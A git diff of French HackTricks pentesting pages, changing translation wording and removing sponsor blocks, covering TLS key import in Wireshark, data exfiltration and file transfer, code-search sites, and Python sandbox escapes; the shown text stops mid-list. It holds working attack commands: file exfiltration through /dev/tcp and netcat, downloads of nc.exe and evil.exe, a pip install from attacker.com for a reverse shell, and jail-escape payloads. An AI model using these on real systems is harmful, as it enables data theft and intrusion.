|
@ -146,7 +133,7 @@ Un fichier de clés partagées ressemblera à ceci :
|
||||||
|
|
||||||
![](<../../../.gitbook/assets/image (820).png>)
|
![](<../../../.gitbook/assets/image (820).png>)
|
||||||
|
|
||||||
Pour l'importer dans Wireshark, allez à _éditer > préférences > protocole > ssl > et importez-le dans le nom de fichier du journal (Pre)-Master-Secret :
|
Pour l'importer dans Wireshark, allez à \_modifier > préférences > protocole > ssl > et importez-le dans le nom de fichier du journal (Pre)-Master-Secret :
|
||||||
|
|
||||||
![](<../../../.gitbook/assets/image (989).png>)
|
![](<../../../.gitbook/assets/image (989).png>)
|
||||||
|
|
||||||
|
@ -179,28 +166,16 @@ f = open('all_bytes.data', 'w+b')
|
||||||
f.write(all_bytes)
|
f.write(all_bytes)
|
||||||
f.close()
|
f.close()
|
||||||
```
|
```
|
||||||
### [WhiteIntel](https://whiteintel.io)
|
|
||||||
|
|
||||||
<figure><img src="../../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
|
||||||
|
|
||||||
[**WhiteIntel**](https://whiteintel.io) est un moteur de recherche alimenté par le **dark-web** qui offre des fonctionnalités **gratuites** pour vérifier si une entreprise ou ses clients ont été **compromis** par des **malwares voleurs**.
|
|
||||||
|
|
||||||
Leur objectif principal avec WhiteIntel est de lutter contre les prises de contrôle de comptes et les attaques par ransomware résultant de malwares volants d'informations.
|
|
||||||
|
|
||||||
Vous pouvez consulter leur site web et essayer leur moteur **gratuitement** à :
|
|
||||||
|
|
||||||
{% embed url="https://whiteintel.io" %}
|
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
Apprenez et pratiquez le Hacking AWS :<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
Apprenez et pratiquez le hacking AWS :<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Formation Expert Red Team AWS (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
Apprenez et pratiquez le Hacking GCP : <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
Apprenez et pratiquez le hacking GCP : <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Formation Expert Red Team GCP (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary>Support HackTricks</summary>
|
<summary>Soutenir HackTricks</summary>
|
||||||
|
|
||||||
* Consultez les [**plans d'abonnement**](https://github.com/sponsors/carlospolop)!
|
* Consultez les [**plans d'abonnement**](https://github.com/sponsors/carlospolop)!
|
||||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez-nous sur** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** nous sur **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Partagez des astuces de hacking en soumettant des PRs aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts github.
|
* **Partagez des astuces de hacking en soumettant des PRs aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts github.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
|
@ -1,33 +1,25 @@
|
||||||
# Exfiltration
|
# Exfiltration
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
Apprenez et pratiquez le piratage AWS :<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Formation HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
Apprenez et pratiquez le piratage GCP : <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Formation HackTricks GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary>Soutenez HackTricks</summary>
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
* Consultez les [**plans d'abonnement**](https://github.com/sponsors/carlospolop)!
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Partagez des astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
**Groupe de sécurité Try Hard**
|
|
||||||
|
|
||||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
|
||||||
|
|
||||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
|
||||||
|
|
||||||
***
|
|
||||||
|
|
||||||
## Domaines couramment autorisés pour exfiltrer des informations
|
## Domaines couramment autorisés pour exfiltrer des informations
|
||||||
|
|
||||||
Consultez [https://lots-project.com/](https://lots-project.com/) pour trouver des domaines couramment autorisés qui peuvent être abusés
|
Vérifiez [https://lots-project.com/](https://lots-project.com/) pour trouver des domaines couramment autorisés qui peuvent être abusés
|
||||||
|
|
||||||
## Copier\&Coller Base64
|
## Copy\&Paste Base64
|
||||||
|
|
||||||
**Linux**
|
**Linux**
|
||||||
```bash
|
```bash
|
||||||
|
@ -63,10 +55,10 @@ Start-BitsTransfer -Source $url -Destination $output
|
||||||
#OR
|
#OR
|
||||||
Start-BitsTransfer -Source $url -Destination $output -Asynchronous
|
Start-BitsTransfer -Source $url -Destination $output -Asynchronous
|
||||||
```
|
```
|
||||||
### Téléverser des fichiers
|
### Upload files
|
||||||
|
|
||||||
* [**SimpleHttpServerWithFileUploads**](https://gist.github.com/UniIsland/3346170)
|
* [**SimpleHttpServerWithFileUploads**](https://gist.github.com/UniIsland/3346170)
|
||||||
* [**SimpleHttpServer affiche les GET et POST (également les en-têtes)**](https://gist.github.com/carlospolop/209ad4ed0e06dd3ad099e2fd0ed73149)
|
* [**SimpleHttpServer printing GET and POSTs (also headers)**](https://gist.github.com/carlospolop/209ad4ed0e06dd3ad099e2fd0ed73149)
|
||||||
* Module Python [uploadserver](https://pypi.org/project/uploadserver/):
|
* Module Python [uploadserver](https://pypi.org/project/uploadserver/):
|
||||||
```bash
|
```bash
|
||||||
# Listen to files
|
# Listen to files
|
||||||
|
@ -151,7 +143,7 @@ mkdir -p /ftphome
|
||||||
chown -R ftpuser:ftpgroup /ftphome/
|
chown -R ftpuser:ftpgroup /ftphome/
|
||||||
/etc/init.d/pure-ftpd restart
|
/etc/init.d/pure-ftpd restart
|
||||||
```
|
```
|
||||||
### **Client** Windows
|
### **Client Windows**
|
||||||
```bash
|
```bash
|
||||||
#Work well with python. With pure-ftp use fusr:ftp
|
#Work well with python. With pure-ftp use fusr:ftp
|
||||||
echo open 10.11.0.41 21 > ftp.txt
|
echo open 10.11.0.41 21 > ftp.txt
|
||||||
|
@ -215,19 +207,19 @@ nc -vn <IP> 4444 < exfil_file
|
||||||
```
|
```
|
||||||
## /dev/tcp
|
## /dev/tcp
|
||||||
|
|
||||||
### Télécharger un fichier depuis la victime
|
### Télécharger un fichier de la victime
|
||||||
```bash
|
```bash
|
||||||
nc -lvnp 80 > file #Inside attacker
|
nc -lvnp 80 > file #Inside attacker
|
||||||
cat /path/file > /dev/tcp/10.10.10.10/80 #Inside victim
|
cat /path/file > /dev/tcp/10.10.10.10/80 #Inside victim
|
||||||
```
|
```
|
||||||
### Téléverser un fichier à la victime
|
### Télécharger un fichier sur la victime
|
||||||
```bash
|
```bash
|
||||||
nc -w5 -lvnp 80 < file_to_send.txt # Inside attacker
|
nc -w5 -lvnp 80 < file_to_send.txt # Inside attacker
|
||||||
# Inside victim
|
# Inside victim
|
||||||
exec 6< /dev/tcp/10.10.10.10/4444
|
exec 6< /dev/tcp/10.10.10.10/4444
|
||||||
cat <&6 > file.txt
|
cat <&6 > file.txt
|
||||||
```
|
```
|
||||||
Merci à **@BinaryShadow\_**
|
merci à **@BinaryShadow\_**
|
||||||
|
|
||||||
## **ICMP**
|
## **ICMP**
|
||||||
```bash
|
```bash
|
||||||
|
@ -255,7 +247,7 @@ sudo python -m smtpd -n -c DebuggingServer :25
|
||||||
```
|
```
|
||||||
## TFTP
|
## TFTP
|
||||||
|
|
||||||
Par défaut dans XP et 2003 (dans d'autres, il doit être ajouté explicitement lors de l'installation)
|
Par défaut dans XP et 2003 (dans d'autres, il doit être explicitement ajouté lors de l'installation)
|
||||||
|
|
||||||
Dans Kali, **démarrer le serveur TFTP** :
|
Dans Kali, **démarrer le serveur TFTP** :
|
||||||
```bash
|
```bash
|
||||||
|
@ -269,21 +261,17 @@ cp /path/tp/nc.exe /tftp
|
||||||
pip install ptftpd
|
pip install ptftpd
|
||||||
ptftpd -p 69 tap0 . # ptftp -p <PORT> <IFACE> <FOLDER>
|
ptftpd -p 69 tap0 . # ptftp -p <PORT> <IFACE> <FOLDER>
|
||||||
```
|
```
|
||||||
Dans **victime**, connectez-vous au serveur Kali :
|
Dans **victim**, connectez-vous au serveur Kali :
|
||||||
```bash
|
```bash
|
||||||
tftp -i <KALI-IP> get nc.exe
|
tftp -i <KALI-IP> get nc.exe
|
||||||
```
|
```
|
||||||
## PHP
|
## PHP
|
||||||
|
|
||||||
Téléchargez un fichier avec un oneliner PHP :
|
Téléchargez un fichier avec une ligne de commande PHP :
|
||||||
```bash
|
```bash
|
||||||
echo "<?php file_put_contents('nameOfFile', fopen('http://192.168.1.102/file', 'r')); ?>" > down2.php
|
echo "<?php file_put_contents('nameOfFile', fopen('http://192.168.1.102/file', 'r')); ?>" > down2.php
|
||||||
```
|
```
|
||||||
## VBScript
|
## VBScript
|
||||||
|
|
||||||
### Techniques d'exfiltration
|
|
||||||
|
|
||||||
Les scripts VBScript peuvent être utilisés pour exfiltrer des données en les envoyant via des requêtes HTTP, des e-mails ou en les écrivant dans des fichiers locaux.
|
|
||||||
```bash
|
```bash
|
||||||
Attacker> python -m SimpleHTTPServer 80
|
Attacker> python -m SimpleHTTPServer 80
|
||||||
```
|
```
|
||||||
|
@ -321,13 +309,13 @@ cscript wget.vbs http://10.11.0.5/evil.exe evil.exe
|
||||||
```
|
```
|
||||||
## Debug.exe
|
## Debug.exe
|
||||||
|
|
||||||
Le programme `debug.exe` permet non seulement l'inspection des binaires, mais a également la **capacité de les reconstruire à partir de l'hexadécimal**. Cela signifie qu'en fournissant un hexadécimal d'un binaire, `debug.exe` peut générer le fichier binaire. Cependant, il est important de noter que debug.exe a une **limite d'assemblage de fichiers jusqu'à 64 ko en taille**.
|
Le programme `debug.exe` permet non seulement l'inspection des binaires, mais a également la **capacité de les reconstruire à partir de l'hex**. Cela signifie qu'en fournissant un hex d'un binaire, `debug.exe` peut générer le fichier binaire. Cependant, il est important de noter que debug.exe a une **limitation d'assemblage des fichiers jusqu'à 64 ko de taille**.
|
||||||
```bash
|
```bash
|
||||||
# Reduce the size
|
# Reduce the size
|
||||||
upx -9 nc.exe
|
upx -9 nc.exe
|
||||||
wine exe2bat.exe nc.exe nc.txt
|
wine exe2bat.exe nc.exe nc.txt
|
||||||
```
|
```
|
||||||
Ensuite, copiez-collez le texte dans le shell Windows et un fichier appelé nc.exe sera créé.
|
Puis copiez-collez le texte dans le shell Windows et un fichier appelé nc.exe sera créé.
|
||||||
|
|
||||||
* [https://chryzsh.gitbooks.io/pentestbook/content/transfering_files_to_windows.html](https://chryzsh.gitbooks.io/pentestbook/content/transfering_files_to_windows.html)
|
* [https://chryzsh.gitbooks.io/pentestbook/content/transfering_files_to_windows.html](https://chryzsh.gitbooks.io/pentestbook/content/transfering_files_to_windows.html)
|
||||||
|
|
||||||
|
@ -335,23 +323,17 @@ Ensuite, copiez-collez le texte dans le shell Windows et un fichier appelé nc.e
|
||||||
|
|
||||||
* [https://github.com/62726164/dns-exfil](https://github.com/62726164/dns-exfil)
|
* [https://github.com/62726164/dns-exfil](https://github.com/62726164/dns-exfil)
|
||||||
|
|
||||||
**Try Hard Security Group**
|
|
||||||
|
|
||||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
|
||||||
|
|
||||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
Apprenez et pratiquez le piratage AWS :<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Formation Expert en Équipe Rouge AWS (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
Apprenez et pratiquez le hacking AWS :<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
Apprenez et pratiquez le piratage GCP : <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Formation Expert en Équipe Rouge GCP (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
Apprenez et pratiquez le hacking GCP : <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary>Soutenez HackTricks</summary>
|
<summary>Soutenir HackTricks</summary>
|
||||||
|
|
||||||
* Consultez les [**plans d'abonnement**](https://github.com/sponsors/carlospolop) !
|
* Consultez les [**plans d'abonnement**](https://github.com/sponsors/carlospolop) !
|
||||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez-nous sur** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Partagez des astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
|
* **Partagez des astuces de hacking en soumettant des PRs aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts github.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
|
@ -1,59 +1,45 @@
|
||||||
# Recherche étendue de code source
|
# Large Recherche de Code Source
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
Apprenez et pratiquez le piratage AWS :<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Formation HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
Apprenez et pratiquez le Hacking AWS :<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Formation Expert Red Team AWS (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
Apprenez et pratiquez le piratage GCP : <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Formation HackTricks GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
Apprenez et pratiquez le Hacking GCP : <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Formation Expert Red Team GCP (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary>Soutenez HackTricks</summary>
|
<summary>Soutenir HackTricks</summary>
|
||||||
|
|
||||||
* Consultez les [**plans d'abonnement**](https://github.com/sponsors/carlospolop) !
|
* Consultez les [**plans d'abonnement**](https://github.com/sponsors/carlospolop) !
|
||||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez-nous sur** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Partagez des astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
|
* **Partagez des astuces de hacking en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts github.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
**Groupe de sécurité Try Hard**
|
L'objectif de cette page est d'énumérer **les plateformes qui permettent de rechercher du code** (littéral ou regex) à travers des milliers/millions de dépôts sur une ou plusieurs plateformes.
|
||||||
|
|
||||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
Cela aide dans plusieurs occasions à **rechercher des informations divulguées** ou des **modèles de vulnérabilités**.
|
||||||
|
|
||||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
* [**SourceGraph**](https://sourcegraph.com/search) : Recherchez dans des millions de dépôts. Il existe une version gratuite et une version entreprise (avec 15 jours gratuits). Il prend en charge les regex.
|
||||||
|
* [**Recherche Github**](https://github.com/search) : Recherchez sur Github. Il prend en charge les regex.
|
||||||
***
|
* Peut-être qu'il est également utile de vérifier [**Recherche de Code Github**](https://cs.github.com/).
|
||||||
|
* [**Recherche Avancée Gitlab**](https://docs.gitlab.com/ee/user/search/advanced\_search.html) : Recherchez dans les projets Gitlab. Prend en charge les regex.
|
||||||
Le but de cette page est d'énumérer les **plateformes permettant de rechercher du code** (littéral ou regex) à travers des milliers/millions de dépôts sur une ou plusieurs plateformes.
|
* [**SearchCode**](https://searchcode.com/) : Recherchez du code dans des millions de projets.
|
||||||
|
|
||||||
Cela aide dans plusieurs occasions à **rechercher des informations divulguées** ou des modèles de **vulnérabilités**.
|
|
||||||
|
|
||||||
* [**SourceGraph**](https://sourcegraph.com/search) : Recherche dans des millions de dépôts. Il existe une version gratuite et une version entreprise (avec 15 jours gratuits). Il prend en charge les regex.
|
|
||||||
* [**Recherche Github**](https://github.com/search) : Recherche sur Github. Il prend en charge les regex.
|
|
||||||
* Il peut également être utile de consulter également la [**Recherche de code Github**](https://cs.github.com/).
|
|
||||||
* [**Recherche avancée Gitlab**](https://docs.gitlab.com/ee/user/search/advanced\_search.html) : Recherche dans les projets Gitlab. Prise en charge des regex.
|
|
||||||
* [**SearchCode**](https://searchcode.com/) : Recherche de code dans des millions de projets.
|
|
||||||
|
|
||||||
{% hint style="warning" %}
|
{% hint style="warning" %}
|
||||||
Lorsque vous recherchez des fuites dans un dépôt et exécutez quelque chose comme `git log -p`, n'oubliez pas qu'il pourrait y avoir **d'autres branches avec d'autres commits** contenant des secrets !
|
Lorsque vous recherchez des fuites dans un dépôt et exécutez quelque chose comme `git log -p`, n'oubliez pas qu'il pourrait y avoir **d'autres branches avec d'autres commits** contenant des secrets !
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
**Groupe de sécurité Try Hard**
|
|
||||||
|
|
||||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
|
||||||
|
|
||||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
Apprenez et pratiquez le piratage AWS :<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Formation HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
Apprenez et pratiquez le Hacking AWS :<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Formation Expert Red Team AWS (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
Apprenez et pratiquez le piratage GCP : <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Formation HackTricks GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
Apprenez et pratiquez le Hacking GCP : <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Formation Expert Red Team GCP (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary>Soutenez HackTricks</summary>
|
<summary>Soutenir HackTricks</summary>
|
||||||
|
|
||||||
* Consultez les [**plans d'abonnement**](https://github.com/sponsors/carlospolop) !
|
* Consultez les [**plans d'abonnement**](https://github.com/sponsors/carlospolop) !
|
||||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez-nous sur** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Partagez des astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
|
* **Partagez des astuces de hacking en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts github.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
|
@ -15,14 +15,6 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
**Try Hard Security Group**
|
|
||||||
|
|
||||||
<figure><img src="../../../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
|
||||||
|
|
||||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
|
||||||
|
|
||||||
***
|
|
||||||
|
|
||||||
Voici quelques astuces pour contourner les protections des sandboxes Python et exécuter des commandes arbitraires.
|
Voici quelques astuces pour contourner les protections des sandboxes Python et exécuter des commandes arbitraires.
|
||||||
|
|
||||||
## Bibliothèques d'exécution de commandes
|
## Bibliothèques d'exécution de commandes
|
||||||
|
@ -95,7 +87,7 @@ Pour plus d'informations sur le fonctionnement de pickle, consultez ceci : [http
|
||||||
|
|
||||||
Astuce partagée par **@isHaacK**
|
Astuce partagée par **@isHaacK**
|
||||||
|
|
||||||
Si vous avez accès à `pip` ou `pip.main()`, vous pouvez installer un paquet arbitraire et obtenir un reverse shell en appelant :
|
Si vous avez accès à `pip` ou `pip.main()`, vous pouvez installer un paquet arbitraire et obtenir un shell inversé en appelant :
|
||||||
```bash
|
```bash
|
||||||
pip install http://attacker.com/Rerverse.tar.gz
|
pip install http://attacker.com/Rerverse.tar.gz
|
||||||
pip.main(["install", "http://attacker.com/Rerverse.tar.gz"])
|
pip.main(["install", "http://attacker.com/Rerverse.tar.gz"])
|
||||||
|
@ -160,7 +152,7 @@ df.query("@pd.annotations.__class__.__init__.__globals__['__builtins__']['eval']
|
||||||
```
|
```
|
||||||
## Bypassing protections through encodings (UTF-7)
|
## Bypassing protections through encodings (UTF-7)
|
||||||
|
|
||||||
Dans [**ce rapport**](https://blog.arkark.dev/2022/11/18/seccon-en/#misc-latexipy), UFT-7 est utilisé pour charger et exécuter du code python arbitraire à l'intérieur d'un apparent sandbox :
|
Dans [**ce rapport**](https://blog.arkark.dev/2022/11/18/seccon-en/#misc-latexipy), l'UFT-7 est utilisé pour charger et exécuter du code python arbitraire à l'intérieur d'un apparent sandbox :
|
||||||
```python
|
```python
|
||||||
assert b"+AAo-".decode("utf_7") == "\n"
|
assert b"+AAo-".decode("utf_7") == "\n"
|
||||||
|
|
||||||
|
@ -175,7 +167,7 @@ Il est également possible de le contourner en utilisant d'autres encodages, par
|
||||||
|
|
||||||
## Exécution Python sans appels
|
## Exécution Python sans appels
|
||||||
|
|
||||||
Si vous êtes dans une prison python qui **ne vous permet pas de faire des appels**, il existe encore des moyens d'**exécuter des fonctions, du code** et des **commandes arbitraires**.
|
Si vous êtes à l'intérieur d'une prison python qui **ne vous permet pas de faire des appels**, il existe encore des moyens d'**exécuter des fonctions, du code** et des **commandes arbitraires**.
|
||||||
|
|
||||||
### RCE avec [décorateurs](https://docs.python.org/3/glossary.html#term-decorator)
|
### RCE avec [décorateurs](https://docs.python.org/3/glossary.html#term-decorator)
|
||||||
```python
|
```python
|
||||||
|
@ -462,7 +454,7 @@ defined_func.__class__.__base__.__subclasses__()
|
||||||
```
|
```
|
||||||
### Trouver des bibliothèques dangereuses chargées
|
### Trouver des bibliothèques dangereuses chargées
|
||||||
|
|
||||||
Par exemple, sachant qu'avec la bibliothèque **`sys`** il est possible d'**importer des bibliothèques arbitraires**, vous pouvez rechercher tous les **modules chargés qui ont importé sys à l'intérieur d'eux** :
|
Par exemple, sachant qu'avec la bibliothèque **`sys`** il est possible de **importer des bibliothèques arbitraires**, vous pouvez rechercher tous les **modules chargés qui ont importé sys à l'intérieur d'eux** :
|
||||||
```python
|
```python
|
||||||
[ x.__name__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "sys" in x.__init__.__globals__ ]
|
[ x.__name__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "sys" in x.__init__.__globals__ ]
|
||||||
['_ModuleLock', '_DummyModuleLock', '_ModuleLockManager', 'ModuleSpec', 'FileLoader', '_NamespacePath', '_NamespaceLoader', 'FileFinder', 'zipimporter', '_ZipImportResourceReader', 'IncrementalEncoder', 'IncrementalDecoder', 'StreamReaderWriter', 'StreamRecoder', '_wrap_close', 'Quitter', '_Printer', 'WarningMessage', 'catch_warnings', '_GeneratorContextManagerBase', '_BaseExitStack', 'Untokenizer', 'FrameSummary', 'TracebackException', 'CompletedProcess', 'Popen', 'finalize', 'NullImporter', '_HackedGetData', '_localized_month', '_localized_day', 'Calendar', 'different_locale', 'SSLObject', 'Request', 'OpenerDirector', 'HTTPPasswordMgr', 'AbstractBasicAuthHandler', 'AbstractDigestAuthHandler', 'URLopener', '_PaddedFile', 'CompressedValue', 'LogRecord', 'PercentStyle', 'Formatter', 'BufferingFormatter', 'Filter', 'Filterer', 'PlaceHolder', 'Manager', 'LoggerAdapter', '_LazyDescr', '_SixMetaPathImporter', 'MimeTypes', 'ConnectionPool', '_LazyDescr', '_SixMetaPathImporter', 'Bytecode', 'BlockFinder', 'Parameter', 'BoundArguments', 'Signature', '_DeprecatedValue', '_ModuleWithDeprecations', 'Scrypt', 